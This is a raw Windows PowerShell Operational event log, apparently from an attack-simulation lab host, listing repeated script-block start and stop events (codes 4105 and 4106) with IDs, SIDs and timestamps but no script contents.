RecordNumber=2029430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029428
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029427
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029405
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029404
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029403
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029402
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029386
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029385
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029380
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029379
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
